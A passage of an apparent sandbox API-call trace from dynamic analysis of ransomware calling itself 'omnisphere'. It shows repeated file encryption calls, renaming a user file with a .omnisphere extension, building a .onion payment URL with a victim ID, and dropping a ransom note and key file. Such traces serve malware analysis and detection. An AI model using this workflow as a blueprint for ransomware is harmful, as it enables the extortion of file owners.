pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.973] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.974] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.975] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.976] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.977] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.978] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.980] CryptDestroyKey (hKey=0x1639528) returned 1 [0062.980] CryptReleaseContext (hProv=0x163c0e0, dwFlags=0x0) returned 1 [0062.980] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xab3e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0062.980] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0062.981] GetProcessHeap () returned 0x1600000 [0062.981] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x276) returned 0x1651760 [0062.981] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1x4wmva.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1x4wmva.bmp.omnisphere")) returned 1 [0062.982] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp.omnisphere.id" [0062.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1x4wmva.bmp.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0062.982] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0062.983] CloseHandle (hObject=0x3a8) returned 1 [0062.984] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0062.984] CloseHandle (hObject=0x3a4) returned 1 [0062.985] SetEndOfFile (hFile=0x3a0) returned 1 [0062.985] FlushFileBuffers (hFile=0x3a0) returned 1 [0062.990] CloseHandle (hObject=0x3a0) returned 1 [0062.990] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0062.991] GetProcessHeap () returned 0x1600000 [0062.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1652fa0 [0062.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0062.991] GetProcessHeap () returned 0x1600000 [0062.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641cc8 [0062.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641cc8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0062.991] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0062.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.991] GetProcessHeap () returned 0x1600000 [0062.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f870 [0062.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0062.991] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0062.991] GetProcessHeap () returned 0x1600000 [0062.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163b860 [0062.991] PathCombineW (in: pszDest=0x163b860, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0062.991] GetProcessHeap () returned 0x1600000 [0062.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1653a58 [0062.992] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.992] WriteFile (in: hFile=0x3a0, lpBuffer=0x1653a58*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1653a58*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0062.992] CloseHandle (hObject=0x3a0) returned 1 [0062.992] GetProcessHeap () returned 0x1600000 [0062.992] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1652fa0 | out: hHeap=0x1600000) returned 1 [0062.992] GetProcessHeap () returned 0x1600000 [0062.992] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f980 [0062.992] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0062.992] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.993] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0062.993] CloseHandle (hObject=0x3a0) returned 1 [0062.993] GetProcessHeap () returned 0x1600000 [0062.993] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0062.993] GetProcessHeap () returned 0x1600000 [0062.993] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a1f0 | out: hHeap=0x1600000) returned 1 [0062.993] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f14b510, ftCreationTime.dwHighDateTime=0x1d4c7f5, ftLastAccessTime.dwLowDateTime=0x1285b190, ftLastAccessTime.dwHighDateTime=0x1d4ceae, ftLastWriteTime.dwLowDateTime=0x1285b190, ftLastWriteTime.dwHighDateTime=0x1d4ceae, nFileSizeHigh=0x0, nFileSizeLow=0x12f28, dwReserved0=0x0, dwReserved1=0xed, cFileName="aar4wXwobwm8v j.mp3", cAlternateFileName="AAR4WX~1.MP3")) returned 1 [0062.993] GetProcessHeap () returned 0x1600000 [0062.993] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163fe00 [0062.993] PathCombineW (in: pszDest=0x163fe00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="aar4wXwobwm8v j.mp3" | out: 